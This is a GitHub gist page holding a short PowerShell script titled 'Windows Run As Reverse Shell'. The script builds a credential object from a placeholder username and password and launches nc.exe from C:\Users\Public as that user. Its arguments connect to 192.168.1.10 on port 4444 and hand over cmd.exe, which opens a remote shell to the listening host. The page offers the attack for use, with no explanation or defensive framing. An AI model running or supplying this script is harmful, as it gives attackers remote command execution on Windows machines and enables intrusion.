Skip to content

Instantly share code, notes, and snippets.

@int0x33
Created April 11, 2019 13:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save int0x33/eb358632a13bcd1e017a14c0fb00a52b to your computer and use it in GitHub Desktop.
Save int0x33/eb358632a13bcd1e017a14c0fb00a52b to your computer and use it in GitHub Desktop.
Windows Run As Reverse Shell
$username = '<username here>'
$password = '<password here>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment